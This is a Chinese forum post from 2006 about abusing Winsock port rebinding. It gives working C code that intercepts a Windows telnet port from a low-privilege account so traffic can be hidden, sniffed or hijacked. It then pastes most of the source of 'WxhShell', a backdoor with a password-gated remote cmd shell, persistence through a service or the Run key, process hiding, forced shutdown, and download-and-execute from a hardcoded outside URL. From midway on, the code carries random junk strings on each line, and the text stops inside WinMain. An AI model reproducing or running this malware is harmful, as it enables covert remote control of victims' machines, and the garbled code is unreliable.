[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; hmfO\gc}y
if(chr[0]==0xd || chr[0]==0xa) { @+OX1-dd/w
pwd=0; ){u/v[O9"
break; z+RA
} q2o`.f+I
i++; v1s.j2T
} 5%+M:B
v{/z`J!JR
// 如果是非法用户，关闭 socket f@3?kM(
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tVB9kxtE
} yfq Vx$YL
1{TmK9U
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?<YQ %qaW7
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >l<`)4*H
l[Hgh,
while(1) { m&o6j>C
0X.(BRI~6p
ZeroMemory(cmd,KEY_BUFF); (!^i6z0Sp
?X'm>R. @
// 自动支持客户端 telnet标准 !^~ ^D<
j=0; rb"J{^
while(j<KEY_BUFF) { TuF;>{~}
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (n4\$LdP-
cmd[j]=chr[0]; nY]5pOF:
if(chr[0]==0xa || chr[0]==0xd) { ?Xdb%.
cmd[j]=0; #qx$ p
break; }0Q_yuzx0m
} DZ-2Z@{PX
j++; _h?hFs,N]
} reBAxmt
UDBMf2F]
// 下载文件 } D'pyTf[
if(strstr(cmd,"http://")) { G1RUu-~+
send(wsh,msg_ws_down,strlen(msg_ws_down),0); v[++"=< o8
if(DownloadFile(cmd,wsh)) .paKV"LJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RgB5'$x}
else ECZ`I Z.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y\?T%g
} U]o
else { -a=RCzX]
e7n[NVrX
switch(cmd[0]) { !HV<2q()
f ye=8 r
// 帮助 W 'w{}|
case '?': { ,Y)7M3I
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -:$#koW
break; &U.U<
} 5$58z
// 安装 ]!um}8!}
case 'i': { z(YzK
if(Install()) Oq`CKf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;2k!KW@
else [C>>j;q%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H(A9YxXrZ5
break; fk6`DUBV
} ~;V5*t
// 卸载 V*Q!J{lj^#
case 'r': { q6]T;)U&
if(Uninstall()) d-rqZn}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;h7W(NO~z
else }zO>y%eI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *!m\%*y{
break; }wIF$v?M
} [C0"vOTUb
// 显示 wxhshell 所在路径 PxvD0GTW
case 'p': { +jPJv[W
char svExeFile[MAX_PATH]; x+Ws lN2a
strcpy(svExeFile,"\n\r"); J4woZ{d
strcat(svExeFile,ExeFile); _k|k$qxE
send(wsh,svExeFile,strlen(svExeFile),0); Jv8JCu"eky
break; @'>Ul!.]
} 9OS~;9YR
// 重启 |uIgZ|7[
case 'b': { o..iT:f;n
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EK%J%NY
if(Boot(REBOOT)) JeXA*U#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1_B;r9x
else { kM;}$*?
closesocket(wsh); =mp"=%
ExitThread(0); r .`&z
} U>-GM>
break; N|3a(mtiZ'
} _g]h \3
// 关机 wqasI@vyu
case 'd': { o]<@E uG
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ww5UQs2sn
if(Boot(SHUTDOWN)) $fhR1A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NtDxwzj
else { e`eh;@9p
closesocket(wsh); ZWb\^N
ExitThread(0); Swxur+hfH
} S] R.:T_%
break; (RBB0CE
} hcT5>w[
// 获取shell NcyE_T
case 's': { (Rs|"];?Z
CmdShell(wsh); jV.9d@EC
closesocket(wsh); Ru~;awV?
ExitThread(0); .)|2^ 'W
break; qir8RPW
} @M)"
// 退出 p_EWpSOt7
case 'x': { Q-}cB
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U}<'[o V
CloseIt(wsh); 9!,f4&G`
break; FfM,~s<Efz
} ``,q[|
// 离开 ehV}}1>O
case 'q': { /y3Lc.-
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,aU8. J_U
closesocket(wsh); Kwo0%2Onkd
WSACleanup(); m~`f0
exit(1); 5gZ*
break; 2rrC y C
} C[[:/X(c
} RwoAZ]Zg]
} -cB>; f)5r
/&o<kY
// 提示信息 2SXy)m !
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F @uOXNz)
} ,H@ x.
} )rbcY0q
,h},jkY4
return; [-hsG E
} y:VY8a 4
,L;%-}#$
// shell模块句柄 D%h_V>#z
int CmdShell(SOCKET sock) J8@7 5p9
{ >_u5"&q
STARTUPINFO si; .tzQ hd>
ZeroMemory(&si,sizeof(si)); qj*77
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iz:O]kI
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >]/aG!
PROCESS_INFORMATION ProcessInfo; N3&n"w _d
char cmdline[]="cmd"; f"d4HZD^
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g*$yUt
return 0; O/lu0acI
} wiM-TFT~
tybM3VA
// 自身启动模式 VRvX^w0
int StartFromService(void) fK5iOj'Q
{ m8z414o
typedef struct %VGQ{:
{ Z]k+dJ[-
DWORD ExitStatus; r=ht:+m
DWORD PebBaseAddress; 0T<DHPQ1
DWORD AffinityMask; `E5vO1Pl
DWORD BasePriority; )B5(V5-!|
ULONG UniqueProcessId; ~.<}/GP]_
ULONG InheritedFromUniqueProcessId; |&\cr\T\r
} PROCESS_BASIC_INFORMATION; G-G\l?R(
J85Kgd1 \a
PROCNTQSIP NtQueryInformationProcess; (d}z>?L
RRJN@|"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @EGUQ|WL^
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I#GsEhi
~n9-
HANDLE hProcess; i`vgD<}
PROCESS_BASIC_INFORMATION pbi; %^<A`Q_
XFcIBWS
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a+p_47 xa
if(NULL == hInst ) return 0; :t6.J
few=`%/
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TDjjaO
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KI8Q =*
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^*+-0b;[G
Czt>?8x`
if (!NtQueryInformationProcess) return 0; TF;}NQ
#>(h!lT_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JnBg;D|)@
if(!hProcess) return 0; sp&)1?!M
2:D1<z6RQ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]{E{ IW8
7EukrE<b'
CloseHandle(hProcess); ,L,?xvWG
62z"cFN
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q.`O;D}x
if(hProcess==NULL) return 0; sXm,y$\m
eWwI@ASaA
HMODULE hMod; U0t~H{-H
char procName[255]; B:QAG
unsigned long cbNeeded; w`F4.e
L?p,Sy<RI
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c=A)_ZFg
/?Fa<{
CloseHandle(hProcess); ~R\Z&oQ
4'ymPPY
if(strstr(procName,"services")) return 1; // 以服务启动 4Js9"<w
,c_NXC^X?
return 0; // 注册表启动 om'DaG`A
} }^Kye23
)./'`Mx?
// 主模块 v3{[rK}
int StartWxhshell(LPSTR lpCmdLine) {=GWQn6cc
{ K,\Bj/V(
SOCKET wsl; -H;p +XAY
BOOL val=TRUE; $Q!J.}P@
int port=0; *K1GX
struct sockaddr_in door; 7ZVW7%,zF
+8etCx
if(wscfg.ws_autoins) Install(); xX]92Q
L_WVTz?`
port=atoi(lpCmdLine); @hE$x-TP0
MVpk/S%W
if(port<=0) port=wscfg.ws_port; !\%0O`b^4
l;gj],*
WSADATA data; Ni4*V3VB
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M)oJ06`K
)FfJ%oT}
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 47c` ) *Hc
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p&%M=SzN
door.sin_family = AF_INET; iqj ZC80
door.sin_addr.s_addr = inet_addr("127.0.0.1"); _4VS.~}/R
door.sin_port = htons(port); )~X*&(7RR}
`xpU
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TdAHw @(
closesocket(wsl); uJP9J U
return 1; !MiH^wP
} m%hUvG| i
%hu] =
if(listen(wsl,2) == INVALID_SOCKET) { faVR %
closesocket(wsl); p|D-ez8
return 1; z!={d1u#T
} #!%\97ZR
Wxhshell(wsl); !y>MchNv
WSACleanup(); O!(FNv0
zmxrz[
return 0; cO#e AQf7
/_rg*y*
} Z-!W#
W1UG\d`2
// 以NT服务方式启动 \gE3wmSJ,
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T&2aNkuG
{ myj^c>1Iz
DWORD status = 0; 0-^wY8n-=
DWORD specificError = 0xfffffff; l|[8'*]r!
YJO,"7+
serviceStatus.dwServiceType = SERVICE_WIN32; b (,X3x*
serviceStatus.dwCurrentState = SERVICE_START_PENDING; hal3J
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o'3t(dyyH
serviceStatus.dwWin32ExitCode = 0; xpf\S10e
serviceStatus.dwServiceSpecificExitCode = 0; jF'azlT
serviceStatus.dwCheckPoint = 0; 4^L+LY
serviceStatus.dwWaitHint = 0; p[QF3)9F
od- 0wJN-m
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ql%>)k /x
if (hServiceStatusHandle==0) return; ms8PFu(f
9^m& [Z
status = GetLastError(); <mc[-To
if (status!=NO_ERROR) KB,!s7A
{ 5Dy800.B2
serviceStatus.dwCurrentState = SERVICE_STOPPED; $V"~\h8
serviceStatus.dwCheckPoint = 0; KUfk5Y
serviceStatus.dwWaitHint = 0; EiY i<Z_S
serviceStatus.dwWin32ExitCode = status; Kt%`]Wp
serviceStatus.dwServiceSpecificExitCode = specificError; vXnTPjbE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ms=Ilz
return; c FjC
} =;{vfjj
K5Fzmo a
serviceStatus.dwCurrentState = SERVICE_RUNNING; $cev,OW6]
serviceStatus.dwCheckPoint = 0; ^P-!pK*
serviceStatus.dwWaitHint = 0; DVYY1!j<
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PX](hc=
} _Y*: l7
?K7m:Dx
// 处理NT服务事件，比如：启动、停止 V#W(c_g
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3\FiQ/?
{ nMcd(&`N
switch(fdwControl) #(@dN+
{ m=2TzLVv
case SERVICE_CONTROL_STOP: EX8:B.z`57
serviceStatus.dwWin32ExitCode = 0; l\5}\9yS
serviceStatus.dwCurrentState = SERVICE_STOPPED; nTjQ4y
serviceStatus.dwCheckPoint = 0; r]'AdJFt
serviceStatus.dwWaitHint = 0; 0[0</"K%1m
{ +MOUO$;fGt
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hHoc7
} ?x]T&S{
return; 9VIsLk54^
case SERVICE_CONTROL_PAUSE: ~s{$&N
serviceStatus.dwCurrentState = SERVICE_PAUSED; Hux#v>e
break; tiwhG%?2
case SERVICE_CONTROL_CONTINUE: &%J{C3Q9
serviceStatus.dwCurrentState = SERVICE_RUNNING; 1K,bmb xRt
break; ?S!lX[#v
case SERVICE_CONTROL_INTERROGATE: G:'-|h
break; 6R@ v>}
}; SR~~rD|V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1S\q\kz->D
} CN: 36
:4Sj2
// 标准应用程序主函数 z;'"c3qG8
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *8"5mC;"
{ vK#xA+W
2NsI3M4$8
// 获取操作系统版本 V )1SZt@x
OsIsNt=GetOsVer(); R^dAwt`.D
GetModuleFileName(NULL,ExeFile,MAX_PATH); LtH;#Q
yS7[=S
// 从命令行安装 (q*T.
if(strpbrk(lpCmdLine,"iI")) Install(); /5suyM=U
Pp3tEZfE
// 下载执行文件 `EU=u_N
if(wscfg.ws_downexe) { 3,tKqR7g
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |)pT"`
WinExec(wscfg.ws_filenam,SW_HIDE); Fg5c;sls
